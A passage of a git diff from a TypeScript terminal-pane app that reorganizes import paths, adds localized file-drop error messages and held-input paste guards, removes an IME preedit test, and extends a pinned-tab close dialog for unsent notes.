 import { getConnectionIdFromState } from '@/lib/workspace/ownership/connection-owner-resolution'
 import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import type { WorktreeRuntimeOwnerState } from '@/lib/workspace/ownership/worktree-runtime-owner-state'
-import { isLocalNativeWindowsConpty } from '@/lib/pane-manager/windows-pty-compatibility'
+import { isLocalNativeWindowsConpty } from '@/lib/pane-manager/terminal-protocol/windows-pty-compatibility'
 import type { PaneCwdMap } from '../layout/split/resolve-split-cwd'
 import type { PtyTransport } from '../pty-transport/pty-transport-types'
 
diff --git a/src/renderer/src/components/terminal-pane/host-state/terminal-pane-wsl-distro.ts b/src/renderer/src/components/terminal-pane/host-state/terminal-pane-wsl-distro.ts
index 8eacdc09f35..ed97172616f 100644
--- a/src/renderer/src/components/terminal-pane/host-state/terminal-pane-wsl-distro.ts
+++ b/src/renderer/src/components/terminal-pane/host-state/terminal-pane-wsl-distro.ts
@@ -1,4 +1,4 @@
-import { getLocalProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import {
   getCachedWindowsTerminalCapabilities,
   hasCachedWindowsTerminalCapabilities
diff --git a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-local-wsl.ts b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-local-wsl.ts
index 82323057e72..fc77457969e 100644
--- a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-local-wsl.ts
+++ b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-local-wsl.ts
@@ -1,8 +1,8 @@
-import { getLocalProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { CLIENT_PLATFORM } from '@/lib/workspace/creation/new-workspace'
-import type { useAppStore } from '@/store/index'
 import { isWindowsAbsolutePathLike } from '../../../../../../shared/cross-platform-path'
 import { parseWslUncPath } from '../../../../../../shared/wsl-paths'
+import type { useAppStore } from '@/store/index'
 
 export function isWorktreeUsingLocalWslRuntime(
   state: ReturnType<typeof useAppStore.getState>,
diff --git a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-transport-owner.ts b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-transport-owner.ts
index 869d23f3919..d9ddf9adc92 100644
--- a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-transport-owner.ts
+++ b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-drop-transport-owner.ts
@@ -1,5 +1,5 @@
 import { parseExecutionHostId } from '../../../../../../shared/execution-host'
-import { captureDirectSshMutationExpectation } from '@/lib/ssh-mutation-expectation'
+import { captureDirectSshMutationExpectation } from '@/runtime/hosts/ssh/ssh-mutation-expectation'
 import { useAppStore } from '@/store/index'
 import type { PtyTransport } from '../../pty-transport/pty-transport-types'
 
diff --git a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-native-file-drop-destination.ts b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-native-file-drop-destination.ts
index e1acd77e5d6..d826ec83e6e 100644
--- a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-native-file-drop-destination.ts
+++ b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-native-file-drop-destination.ts
@@ -1,5 +1,5 @@
 import { toast } from 'sonner'
-import { extractIpcErrorMessage } from '@/runtime/errors/ipc-error'
+
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
 import { useAppStore } from '@/store/index'
 import { translate } from '@/i18n/i18n'
@@ -9,6 +9,7 @@ import { captureTerminalDropTransportOwner } from './terminal-drop-transport-own
 import { resolveTerminalDropWorktreePath } from './terminal-drop-worktree-path'
 import { isWorktreeUsingLocalWslRuntime } from './terminal-drop-local-wsl'
 import { deliverNativeTerminalFileDrop } from './terminal-native-file-drop'
+import { terminalFileDropErrorMessage } from './terminal-native-file-drop-error'
 
 export type NativeTerminalFileDropArgs = {
   manager: PaneManager
@@ -27,7 +28,7 @@ export function captureNativeTerminalFileDrop(
   try {
     return captureNativeTerminalFileDropDestination(args)
   } catch (err) {
-    toast.error(extractIpcErrorMessage(err, 'Failed to drop files.'))
+    toast.error(terminalFileDropErrorMessage(err, 'drop'))
     return async () => undefined
   }
 }
@@ -84,7 +85,7 @@ function captureNativeTerminalFileDropDestination(
         localWslDrop
       })
     } catch (err) {
-      toast.error(extractIpcErrorMessage(err, 'Failed to drop files.'))
+      toast.error(terminalFileDropErrorMessage(err, 'drop'))
     }
   }
 }
diff --git a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-native-file-drop-error.ts b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-native-file-drop-error.ts
new file mode 100644
index 00000000000..5c2e7855ebe
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-native-file-drop-error.ts
@@ -0,0 +1,30 @@
+import { translate } from '@/i18n/i18n'
+import { extractIpcErrorMessage } from '@/runtime/errors/ipc-error'
+
+type TerminalFileDropErrorKind = 'drop' | 'upload' | 'resolve'
+
+export function terminalFileDropErrorMessage(
+  error: unknown,
+  kind: TerminalFileDropErrorKind
+): string {
+  switch (kind) {
+    case 'drop':
+      return extractIpcErrorMessage(
+        error,
+        translate('components.toastFallbacks.filesDropFailed', 'Failed to drop files.')
+      )
+    case 'upload':
+      return extractIpcErrorMessage(
+        error,
+        translate('components.toastFallbacks.filesUploadFailed', 'Failed to upload files.')
+      )
+    case 'resolve':
+      return extractIpcErrorMessage(
+        error,
+        translate(
+          'components.toastFallbacks.filesResolveDroppedFailed',
+          'Failed to resolve dropped files.'
+        )
+      )
+  }
+}
diff --git a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-native-file-drop.ts b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-native-file-drop.ts
index 90170d444eb..f72e9e97576 100644
--- a/src/renderer/src/components/terminal-pane/input/file-drop/terminal-native-file-drop.ts
+++ b/src/renderer/src/components/terminal-pane/input/file-drop/terminal-native-file-drop.ts
@@ -1,5 +1,5 @@
 import { toast } from 'sonner'
-import { extractIpcErrorMessage } from '@/runtime/errors/ipc-error'
+
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
 import { importExternalPathsToRuntime } from '@/runtime/files/imports/runtime-file-import-client'
 import { translate } from '@/i18n/i18n'
@@ -21,6 +21,7 @@ import { showTerminalDropWriteFailure } from './terminal-drop-write-failure'
 import { joinRuntimeTerminalDropDir } from './terminal-drop-worktree-path'
 import type { captureTerminalDropTransportOwner } from './terminal-drop-transport-owner'
 import { toLocalWslDropPath } from './terminal-drop-local-wsl'
+import { terminalFileDropErrorMessage } from './terminal-native-file-drop-error'
 import { runtimeTargetForOwnerEnvironment } from '@/runtime/rpc/targets/runtime-client-target'
 
 export async function deliverNativeTerminalFileDrop(
@@ -161,7 +162,7 @@ async function uploadRuntimeDropPaths(
       results.filter((result) => result.status === 'failed')
     )
   } catch (err) {
-    toast.error(extractIpcErrorMessage(err, 'Failed to upload files.'))
+    toast.error(terminalFileDropErrorMessage(err, 'upload'))
   } finally {
     toast.dismiss(pending)
   }
@@ -183,7 +184,7 @@ async function pasteLocalDropPaths(
       await pasteResolvedDropPaths({ ...args, paths: resolvedPaths, targetShell: 'posix' })
       reportTerminalDropUploadSkipsAndFailures(skipped, failed)
     } catch (err) {
-      toast.error(extractIpcErrorMessage(err, 'Failed to resolve dropped files.'))
+      toast.error(terminalFileDropErrorMessage(err, 'resolve'))
     }
     return
   }
@@ -221,7 +222,7 @@ async function uploadRemoteDropPaths(
     await pasteResolvedDropPaths({ ...args, paths: resolvedPaths, targetShell: args.targetShell })
     reportTerminalDropUploadSkipsAndFailures(skipped, failed)
   } catch (err) {
-    toast.error(extractIpcErrorMessage(err, 'Failed to upload files.'))
+    toast.error(terminalFileDropErrorMessage(err, 'upload'))
   } finally {
     toast.dismiss(pending)
   }
diff --git a/src/renderer/src/components/terminal-pane/input/file-drop/use-terminal-pane-file-drop-owner.ts b/src/renderer/src/components/terminal-pane/input/file-drop/use-terminal-pane-file-drop-owner.ts
index 1202b35ac41..d2c0947d696 100644
--- a/src/renderer/src/components/terminal-pane/input/file-drop/use-terminal-pane-file-drop-owner.ts
+++ b/src/renderer/src/components/terminal-pane/input/file-drop/use-terminal-pane-file-drop-owner.ts
@@ -2,7 +2,7 @@ import { useRef, useState, type RefObject } from 'react'
 import { toast } from 'sonner'
 import type { ManagedPane } from '@/lib/pane-manager/pane-manager-types'
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
-import { isElementDisplayNone } from '@/lib/pane-manager/pane-display-visibility'
+import { isElementDisplayNone } from '@/lib/pane-manager/terminal-fit/pane-display-visibility'
 import {
   createOsFileDropSequence,
   useOsFileDropOwner,
diff --git a/src/renderer/src/components/terminal-pane/input/focus/mounted-pane-focus.ts b/src/renderer/src/components/terminal-pane/input/focus/mounted-pane-focus.ts
index bd62a0fd447..0fb05a54559 100644
--- a/src/renderer/src/components/terminal-pane/input/focus/mounted-pane-focus.ts
+++ b/src/renderer/src/components/terminal-pane/input/focus/mounted-pane-focus.ts
@@ -1,5 +1,5 @@
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
-import { focusPanePreservingOverlays } from '@/lib/pane-manager/pane-overlay-focus'
+import { focusPanePreservingOverlays } from '@/lib/pane-manager/pane-focus/pane-overlay-focus'
 import { shouldPreserveEditableFocus } from '../../../../lib/text-input/focus/editable-focus-preservation'
 
 export function focusActivePane(manager: PaneManager): void {
diff --git a/src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-midline-preedit-tail.test.ts b/src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-midline-preedit-tail.test.ts
deleted file mode 100644
index 6c83bf3817d..00000000000
--- a/src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-midline-preedit-tail.test.ts
+++ /dev/null
@@ -1,212 +0,0 @@
-// @vitest-environment happy-dom
-/** Midline preedit must show the covered committed tail as inserted text (#12545); use opaque live-theme colors to avoid exposing underlying cells. happy-dom tests supplied metrics; native geometry lives in terminal-korean-midline-preedit-occlusion.spec.ts. */
-import { Terminal } from '@xterm/xterm'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { installTerminalImeCandidateAnchor } from '@/lib/pane-manager/terminal-ime-candidate-anchor'
-
-const CELL_WIDTH_PX = 8
-const CELL_HEIGHT_PX = 16
-const THEME = { background: '#112233', cursor: '#ddeeff', foreground: '#aabbcc' }
-
-const openTerminals: Terminal[] = []
-
-function nextEventLoop(): Promise<void> {
-  return new Promise((resolve) => window.setTimeout(resolve, 0))
-}
-
-type Rig = {
-  compositionView: HTMLElement
-  compose: (preedit: string) => void
-  composeStart: () => void
-  composeUpdate: (preedit: string) => void
-  terminal: Terminal
-  textarea: HTMLTextAreaElement
-  write: (data: string) => Promise<void>
-  writeAwaitingRender: (data: string) => Promise<void>
-}
-
-type RigOptions = {
-  cursorWidth?: number
-  theme?: { background: string; cursor?: string; foreground: string }
-  /** Installs the production candidate-anchor listener, the other writer of `textarea.style`. */
-  withCandidateAnchor?: boolean
-}
-
-/**
- * happy-dom lays nothing out, so both textarea-geometry owners read zeroes and neither can
- * overflow. This gives the preedit span a width and the screen its cols*rows box.
- */
-function stubCompositionLayout(preeditWidth: () => number): void {
-  vi.spyOn(HTMLElement.prototype, 'getBoundingClientRect').mockImplementation(function (
-    this: HTMLElement
-  ) {
-    if (this.classList.contains('xterm-composition-preedit')) {
-      return DOMRect.fromRect({ height: CELL_HEIGHT_PX, width: preeditWidth() })
-    }
-    if (this.classList.contains('xterm-screen')) {
-      return DOMRect.fromRect({ height: 24 * CELL_HEIGHT_PX, width: 80 * CELL_WIDTH_PX })
-    }
-    return DOMRect.fromRect({ height: 0, width: 0 })
-  })
-}
-
-function openTerminal(options: RigOptions = {}): Rig {
-  const container = document.createElement('div')
-  document.body.appendChild(container)
-  const terminal = new Terminal({
-    cols: 80,
-    rows: 24,
-    theme: options.theme ?? THEME,
-    cursorWidth: options.cursorWidth
-  })
-  terminal.open(container)
-  const textarea = terminal.textarea
-  const compositionView = container.querySelector<HTMLElement>('.composition-view')
-  if (!textarea || !compositionView) {
-    throw new Error('xterm did not create the helper textarea and composition view')
-  }
-  openTerminals.push(terminal)
-  if (options.withCandidateAnchor && !installTerminalImeCandidateAnchor(terminal)) {
-    throw new Error('the candidate anchor did not install on an opened terminal')
-  }
-
-  const cell = (
-    terminal as unknown as {
-      _core: {
-        _renderService: { dimensions: { css: { cell: { height: number; width: number } } } }
-      }
-    }
-  )._core._renderService.dimensions.css.cell
-  cell.width = CELL_WIDTH_PX
-  cell.height = CELL_HEIGHT_PX
-
-  const write = (data: string): Promise<void> =>
-    new Promise((resolve) => terminal.write(data, resolve))
-
-  // Subscribe after parsing before awaiting render so an earlier frame cannot supply stale tail text.
-  const writeAwaitingRender = async (data: string): Promise<void> => {
-    await write(data)
-    await new Promise<void>((resolve) => {
-      const rendered = terminal.onRender(() => {
-        rendered.dispose()
-        resolve()
-      })
-    })
-  }
-
-  const composeStart = (): void => {
-    const start = new CompositionEvent('compositionstart', { bubbles: true })
-    Object.defineProperty(start, 'data', { value: '' })
-    textarea.dispatchEvent(start)
-  }
-
-  const composeUpdate = (preedit: string): void => {
-    const update = new CompositionEvent('compositionupdate', { bubbles: true })
-    Object.defineProperty(update, 'data', { value: preedit })
-    textarea.value = preedit
-    textarea.dispatchEvent(update)
-  }
-
-  const compose = (preedit: string): void => {
-    composeStart()
-    composeUpdate(preedit)
-  }
-
-  return {
-    compositionView,
-    compose,
-    composeStart,
-    composeUpdate,
-    terminal,
-    textarea,
-    write,
-    writeAwaitingRender
-  }
-}
-
-function viewParts(compositionView: HTMLElement): {
-  caret: HTMLElement | null
-  preedit: HTMLElement | null
-  remainder: HTMLElement | null
-} {
-  return {
-    caret: compositionView.querySelector<HTMLElement>('.xterm-composition-caret'),
-    preedit: compositionView.querySelector<HTMLElement>('.xterm-composition-preedit'),
-    remainder: compositionView.querySelector<HTMLElement>('.xterm-composition-remainder')
-  }
-}
-
-function stripMarks(text: string | null): string {
-  return (text ?? '').replaceAll('‎', '')
-}
-
-describe('mid-line composition renders the covered row tail after the preedit', () => {
-  beforeEach(() => {
-    // happy-dom has no 2d context, which the DOM renderer's WidthCache requires.
-    vi.spyOn(HTMLCanvasElement.prototype, 'getContext').mockReturnValue({
-      measureText: () => ({ width: 10 })
-    } as unknown as CanvasRenderingContext2D)
-  })
-
-  afterEach(async () => {
-    // updateCompositionElements re-arms on a timer; let the pending one run before dispose.
-    await nextEventLoop()
-    await nextEventLoop()
-    while (openTerminals.length > 0) {
-      openTerminals.pop()?.dispose()
-    }
-    vi.restoreAllMocks()
-    document.body.replaceChildren()
-  })
-
-  // Install both textarea-position writers: candidate events write last, but xterm onRender can later overwrite them, so both must agree.
-  it('keeps the caret and IME candidate anchor visible over committed text in the final cell', async () => {
-    const rig = openTerminal({ cursorWidth: 2, withCandidateAnchor: true })
-    await rig.write('x'.repeat(80))
-    let preeditWidth = CELL_WIDTH_PX * 2
-    stubCompositionLayout(() => preeditWidth)
-
-    rig.compose('가')
-
-    const { caret, remainder } = viewParts(rig.compositionView)
-    expect(rig.terminal.buffer.active.cursorX).toBe(80)
-    expect(remainder!.textContent).toBe('x')
-    expect(remainder!.style.display).toBe('none')
-    expect(rig.compositionView.style.maxWidth).toBe(`${CELL_WIDTH_PX}px`)
-    expect(rig.compositionView.style.display).toBe('flex')
-    expect(rig.compositionView.style.justifyContent).toBe('flex-end')
-    expect(caret!.style.width).toBe('2px')
-    expect(rig.textarea.style.left).toBe(`${rig.terminal.cols * CELL_WIDTH_PX - preeditWidth}px`)
-    expect(rig.textarea.style.width).toBe(`${preeditWidth}px`)
-
-    preeditWidth = CELL_WIDTH_PX / 2
-    await rig.writeAwaitingRender('\x1b[0m')
-    expect(remainder!.style.display).toBe('')
-    expect(rig.compositionView.style.display).toBe('')
-    expect(rig.compositionView.style.justifyContent).toBe('')
-    expect(rig.textarea.style.left).toBe(`${(rig.terminal.cols - 1) * CELL_WIDTH_PX}px`)
-    expect(rig.textarea.style.width).toBe(`${preeditWidth}px`)
-  })
-
-  it('refreshes the tail when the row repaints under an open composition', async () => {
-    const rig = openTerminal()
-    await rig.write('안녕하세요\x1b[6D')
-    rig.compose('가')
-    const original = viewParts(rig.compositionView)
-    const glyphs = Array.from(original.preedit!.childNodes)
-
-    // A TUI repaint: erase from the cursor, draw a different tail, put the cursor back.
-    await rig.writeAwaitingRender('\x1b[K체크\x1b[4D')
-
-    const { preedit, remainder } = viewParts(rig.compositionView)
-    expect(stripMarks(preedit!.textContent)).toBe('가')
-    expect(remainder!.textContent).toBe('체크')
-    expect(preedit).toBe(original.preedit)
-    expect(Array.from(preedit!.childNodes)).toEqual(glyphs)
-    expect(viewParts(rig.compositionView).caret).toBe(original.caret)
-
-    await rig.writeAwaitingRender('\x1b[K')
-    expect(viewParts(rig.compositionView).remainder).toBeNull()
-    expect(viewParts(rig.compositionView).preedit).toBe(original.preedit)
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/input/keyboard/terminal-keyboard-action-dispatch.ts b/src/renderer/src/components/terminal-pane/input/keyboard/terminal-keyboard-action-dispatch.ts
index cfb1c5c8774..6ad5bd63b39 100644
--- a/src/renderer/src/components/terminal-pane/input/keyboard/terminal-keyboard-action-dispatch.ts
+++ b/src/renderer/src/components/terminal-pane/input/keyboard/terminal-keyboard-action-dispatch.ts
@@ -8,7 +8,7 @@ import {
   markTerminalFollowOutput,
   markTerminalPinnedViewport,
   syncTerminalScrollIntentFromViewport
-} from '@/lib/pane-manager/terminal-scroll-intent'
+} from '@/lib/pane-manager/terminal-scroll/terminal-scroll-intent'
 import type { resolveTerminalShortcutAction as resolveTerminalKeyboardShortcutAction } from './terminal-shortcut-policy'
 import { equalizeTerminalPanes } from '../../layout/ownership/terminal-pane-layout-owner-commands'
 
diff --git a/src/renderer/src/components/terminal-pane/input/paste/terminal-pane-paste-dispatch.test.ts b/src/renderer/src/components/terminal-pane/input/paste/terminal-pane-paste-dispatch.test.ts
new file mode 100644
index 00000000000..192a23bc4c0
--- /dev/null
+++ b/src/renderer/src/components/terminal-pane/input/paste/terminal-pane-paste-dispatch.test.ts
@@ -0,0 +1,73 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import {
+  createDeferred,
+  flushAsyncTicks
+} from '../../pty-connection/test-fixtures/pty-connection-test-async'
+import {
+  installIpcPtyWindow,
+  restorePtySpecWindow
+} from '../../pty-transport/ipc/pty-transport-test-harness'
+import { pasteTextIntoTerminalPane } from './terminal-pane-paste-dispatch'
+
+describe('pasteTextIntoTerminalPane into a starting terminal', () => {
+  const originalWindow = globalThis.window
+
+  beforeEach(() => {
+    vi.resetModules()
+    installIpcPtyWindow(originalWindow, {})
+  })
+
+  afterEach(() => {
+    restorePtySpecWindow(originalWindow)
+  })
+
+  async function pasteBeforeConnect(text: string): Promise<{ status: string; written: string }> {
+    const spawn = createDeferred<{ id: string }>()
+    vi.mocked(window.api.pty.spawn).mockReturnValue(spawn.promise)
+    const written: string[] = []
+    vi.mocked(window.api.pty.write).mockImplementation((_id, data) => {
+      written.push(data)
+    })
+    vi.mocked(window.api.pty.writeAccepted).mockImplementation(async (_id, data) => {
+      written.push(data)
+      return true
+    })
+    const { createIpcPtyTransport } = await import('../../pty-transport/ipc/pty-transport')
+    const transport = createIpcPtyTransport({ bufferInputUntilConnect: true })
+    const connecting = transport.connect({ url: '', callbacks: {} })
+    const terminal = {
+      modes: { bracketedPasteMode: false },
+      options: {},
+      paste: (data: string) => {
+        transport.sendInput(data, 'driving')
+      },
+      input: (data: string) => {
+        transport.sendInput(data, 'driving')
+      }
+    }
+
+    const result = await pasteTextIntoTerminalPane({
+      pane: { id: 1, leafId: 'leaf-1', terminal },
+      text,
+      source: 'keyboard',
+      ptyId: null,
+      runtime: { kind: 'local', platform: 'darwin', runtimeKey: 'local:darwin' },
+      transport,
+      inputKind: 'driving',
+      isTargetCurrent: () => true,
+      canContinue: () => true
+    })
+    transport.sendInput('\r', 'driving')
+    spawn.resolve({ id: 'pty-1' })
+    await connecting
+    await flushAsyncTicks()
+    return { status: result.status, written: written.join('') }
+  }
+
+  it('refuses a paste too large for one held entry before writing any of it', async () => {
+    await expect(pasteBeforeConnect('x'.repeat(70_000))).resolves.toEqual({
+      status: 'rejected',
+      written: '\r'
+    })
+  })
+})
diff --git a/src/renderer/src/components/terminal-pane/input/paste/terminal-pane-paste-dispatch.ts b/src/renderer/src/components/terminal-pane/input/paste/terminal-pane-paste-dispatch.ts
index 3b2115f2ff5..bca71e75a57 100644
--- a/src/renderer/src/components/terminal-pane/input/paste/terminal-pane-paste-dispatch.ts
+++ b/src/renderer/src/components/terminal-pane/input/paste/terminal-pane-paste-dispatch.ts
@@ -1,3 +1,4 @@
+import type { PtyTransport } from '../../pty-transport/pty-transport-types'
 import { pasteTerminalText } from './terminal-bracketed-paste'
 import { executeTerminalPastePlan } from './terminal-paste-executor'
 import { planTerminalPasteWithYield } from './terminal-paste-coordinator'
@@ -15,7 +16,7 @@ type PasteTextIntoTerminalPaneArgs = {
   source: TerminalPasteSource
   ptyId: string | null
   runtime: TerminalPasteRuntime
-  transport: Parameters<typeof writeTerminalPastePtyInput>[0]
+  transport: Pick<PtyTransport, 'sendInput' | 'sendInputAccepted' | 'isHoldingInput'> | undefined
   inputKind: 'driving' | 'launch'
   isTargetCurrent: () => boolean
   canContinue: () => boolean
@@ -46,11 +47,16 @@ export async function pasteTextIntoTerminalPane({
     windowsInputRecordNewline: planOptions?.windowsInputRecordNewline,
     terminalBracketedPasteMode: pane.terminal.modes?.bracketedPasteMode === true
   })
+  // Why: a held terminal takes a paste only as one entry, like a typed key; chunks need a bound, live PTY.
+  const isHolding = (): boolean => transport?.isHoldingInput?.() === true
   return executeTerminalPastePlan(plan, {
     pasteText: (pasteText, pasteOptions) =>
       pasteTerminalText(pane.terminal, pasteText, pasteOptions),
-    writePty: (data, signal) => writeTerminalPastePtyInput(transport, data, inputKind, signal),
+    writePty:
+      ptyId !== null && !isHolding()
+        ? (data, signal) => writeTerminalPastePtyInput(transport, data, inputKind, signal)
+        : undefined,
     isTargetCurrent,
-    canContinue
+    canContinue: () => canContinue() && !isHolding()
   })
 }
diff --git a/src/renderer/src/components/terminal-pane/input/paste/terminal-paste-target-state.ts b/src/renderer/src/components/terminal-pane/input/paste/terminal-paste-target-state.ts
index e1f7ff426f2..de8fffee77a 100644
--- a/src/renderer/src/components/terminal-pane/input/paste/terminal-paste-target-state.ts
+++ b/src/renderer/src/components/terminal-pane/input/paste/terminal-paste-target-state.ts
@@ -12,6 +12,7 @@ type TerminalPastePaneManager = {
 type TerminalPasteTransport = {
   getPtyId: () => string | null
   isConnected: () => boolean
+  isHoldingInput?: () => boolean
 }
 
 export type TerminalPasteTargetState = {
@@ -31,12 +32,18 @@ export function isTerminalPanePasteTargetCurrent({
   transport,
   ptyId
 }: TerminalPasteTargetState): boolean {
-  return Boolean(
-    manager?.getPanes().some((pane) => pane.id === paneId && pane.leafId === leafId) &&
-    transport &&
-    paneTransports.get(paneId) === transport &&
-    transport.isConnected() &&
-    transport.getPtyId() === ptyId
+  if (
+    !manager?.getPanes().some((pane) => pane.id === paneId && pane.leafId === leafId) ||
+    !transport ||
+    paneTransports.get(paneId) !== transport
+  ) {
+    return false
+  }
+  // A paste made before the first bind (ptyId null) may follow this transport onto the PTY it binds.
+  const livePtyId = transport.getPtyId()
+  return (
+    (livePtyId === ptyId || ptyId === null) &&
+    (transport.isConnected() || transport.isHoldingInput?.() === true)
   )
 }
 
diff --git a/src/renderer/src/components/terminal-pane/input/terminal-pane-pane-input.ts b/src/renderer/src/components/terminal-pane/input/terminal-pane-pane-input.ts
index a8439766485..cd7a5862a70 100644
--- a/src/renderer/src/components/terminal-pane/input/terminal-pane-pane-input.ts
+++ b/src/renderer/src/components/terminal-pane/input/terminal-pane-pane-input.ts
@@ -29,8 +29,8 @@ import {
   shouldSuppressTerminalModifierKeyboardEvent,
   TERMINAL_INTERRUPT_INPUT
 } from './keyboard/xterm-bypass-policy'
-import { markTerminalPinnedViewport } from '@/lib/pane-manager/terminal-scroll-intent'
-import { syncTerminalScrollIntentSoon } from '@/lib/pane-manager/terminal-scroll-intent-settle'
+import { markTerminalPinnedViewport } from '@/lib/pane-manager/terminal-scroll/terminal-scroll-intent'
+import { syncTerminalScrollIntentSoon } from '@/lib/pane-manager/terminal-scroll/terminal-scroll-intent-settle'
 
 type PaneInputContext = {
   pane: Pick<ManagedPane, 'id' | 'terminal'>
diff --git a/src/renderer/src/components/terminal-pane/launch-outcome/agent-launch-pane-notice-text.ts b/src/renderer/src/components/terminal-pane/launch-outcome/agent-launch-pane-notice-text.ts
index 667dcaaf27b..8da9e337ab6 100644
--- a/src/renderer/src/components/terminal-pane/launch-outcome/agent-launch-pane-notice-text.ts
+++ b/src/renderer/src/components/terminal-pane/launch-outcome/agent-launch-pane-notice-text.ts
@@ -4,6 +4,7 @@ import type { AgentLaunchPaneOutcome } from '../../../../../shared/agent-launch/
 import { stripClientEnvironmentFooter } from '../../../../../shared/client-environment-info'
 import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types'
 import { tuiAgentDisplayName } from '../../../../../shared/agent-launch/catalog/tui-agent-display-names'
+import { joinSentences } from '../../../../../shared/sentence-joining'
 
 /** What the pane shows, if its tab keeps a final launch outcome for this leaf. */
 export function agentLaunchPaneOutcomeForLeaf(
@@ -55,11 +56,14 @@ export function agentLaunchPaneNoticeText(
       { agent }
     )
     return refusal.kind === 'unconfirmed'
-      ? `${t(
-          'auto.components.terminal.pane.AgentLaunchPaneNotice.unconfirmed',
-          "Couldn't confirm {{agent}} started. Check its terminal before trying again.",
-          { agent }
-        )} ${explanation}`
+      ? joinSentences([
+          t(
+            'auto.components.terminal.pane.AgentLaunchPaneNotice.unconfirmed',
+            "Couldn't confirm {{agent}} started. Check its terminal before trying again.",
+            { agent }
+          ),
+          explanation
+        ])
       : explanation
   }
   if (refusal.kind === 'unconfirmed') {
@@ -86,7 +90,7 @@ export function agentLaunchPaneNoticeText(
           'auto.components.terminal.pane.AgentLaunchPaneNotice.tryInTerminal',
           'Run it in a terminal in this folder to see why, then try again.'
         )
-  return `${reason} ${action}`
+  return joinSentences([reason, action])
 }
 
 function startupCode(line: string): string | undefined {
diff --git a/src/renderer/src/components/terminal-pane/layout/close/PinnedTabCloseDialog.tsx b/src/renderer/src/components/terminal-pane/layout/close/PinnedTabCloseDialog.tsx
index 576c72f73ea..36b9280f7da 100644
--- a/src/renderer/src/components/terminal-pane/layout/close/PinnedTabCloseDialog.tsx
+++ b/src/renderer/src/components/terminal-pane/layout/close/PinnedTabCloseDialog.tsx
@@ -25,6 +25,7 @@ export default function PinnedTabCloseDialog(): React.JSX.Element {
   const [previousRequest, setPreviousRequest] = useState(request)
 
   const tabLabel = request?.tabLabel.trim()
+  const unsentNotes = request?.unsentNotes === true
 
   // Reset new requests before paint without reviving a cancelled request’s checkbox state.
   if (request !== previousRequest) {
@@ -53,16 +54,26 @@ export default function PinnedTabCloseDialog(): React.JSX.Element {
       <DialogContent className="max-w-sm" showCloseButton={false}>
         <DialogHeader>
           <DialogTitle className="text-sm">
-            {t(
-              'auto.components.terminal.pane.PinnedTabCloseDialog.6c190f295a',
-              'Close pinned tab?'
-            )}
+            {unsentNotes
+              ? t(
+                  'auto.components.terminal.pane.PinnedTabCloseDialog.unsent_notes_title',
+                  'Discard unsent notes?'
+                )
+              : t(
+                  'auto.components.terminal.pane.PinnedTabCloseDialog.6c190f295a',
+                  'Close pinned tab?'
+                )}
           </DialogTitle>
           <DialogDescription className="text-xs">
-            {t(
-              'auto.components.terminal.pane.PinnedTabCloseDialog.0d1963f4a6',
-              'This tab is pinned. Are you sure you want to close it?'
-            )}
+            {unsentNotes
+              ? t(
+                  'auto.components.terminal.pane.PinnedTabCloseDialog.unsent_notes_description',
+                  "This tab has notes you haven't sent. Closing it discards them."
+                )
+              : t(
+                  'auto.components.terminal.pane.PinnedTabCloseDialog.0d1963f4a6',
+                  'This tab is pinned. Are you sure you want to close it?'
+                )}
           </DialogDescription>
         </DialogHeader>
         {tabLabel ? (
@@ -70,19 +81,21 @@ export default function PinnedTabCloseDialog(): React.JSX.Element {
             {tabLabel}
           </p>
         ) : null}
-        <div className="flex items-center gap-2">
-          <Checkbox
-            id={checkboxId}
-            checked={dontAskAgain}
-            onCheckedChange={(checked) => setDontAskAgain(checked === true)}
-          />
-          <Label htmlFor={checkboxId} className="text-xs font-normal text-muted-foreground">
-            {t(
-              'auto.components.terminal.pane.PinnedTabCloseDialog.dont_ask_again',
-              "Don't ask again for pinned tabs"
-            )}
-          </Label>
-        </div>
+        {unsentNotes ? null : (
+          <div className="flex items-center gap-2">
+            <Checkbox
+              id={checkboxId}
+              checked={dontAskAgain}
+              onCheckedChange={(checked) => setDontAskAgain(checked === true)}
+            />
+            <Label htmlFor={checkboxId} className="text-xs font-normal text-muted-foreground">
+              {t(
+                'auto.components.terminal.pane.PinnedTabCloseDialog.dont_ask_again',
+                "Don't ask again for pinned tabs"
+              )}
+            </Label>
+          </div>
+        )}
         <DialogFooter className="gap-2">
           <Button type="button" variant="outline" size="sm" onClick={dismissPinnedTabClose}>
             {t('auto.components.terminal.pane.PinnedTabCloseDialog.0b38ee2f86', 'Cancel')}
